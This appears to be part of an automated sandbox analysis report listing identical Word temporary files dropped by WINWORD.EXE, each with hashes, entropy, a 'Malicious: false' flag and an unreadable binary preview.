Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{AE9BE6BD-C4B7-4C26-AA8F-2CD533F3FDF7}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B1B178BA-61B2-44F7-9FBE-6745CEC94473}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B29FB287-DC64-443D-9BFE-345CD388EF33}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B94ECCB9-2CF2-4FF1-8DD4-33C988E34AE0}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{BF10A028-1FFC-47D3-B25D-2345B5BC2E99}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{BF6E59B5-D4E2-42D6-9F5D-B47E3D7BB612}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{C3610D20-23E8-4ABF-A12D-0BDF0A3CF9DC}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{C7A31A8D-98CB-4B13-8080-8787A7A175F1}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{CB090206-A640-4A94-BE53-64FE97A0436E}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{CE2CF9B8-2FEF-416C-B920-92BBCF66C62E}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{CF8D584C-4367-4AA3-A47A-2E6FB19AD7CF}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D22FE93C-DA63-4E72-A269-CA7627F3A417}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E249371D-B60D-49FA-A80A-D0212ABC1308}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E4FAA11D-D7DB-49E5-BDBF-467F4FD58B51}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E9C2E261-82AA-48C3-83AE-DA67B9B8DA98}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

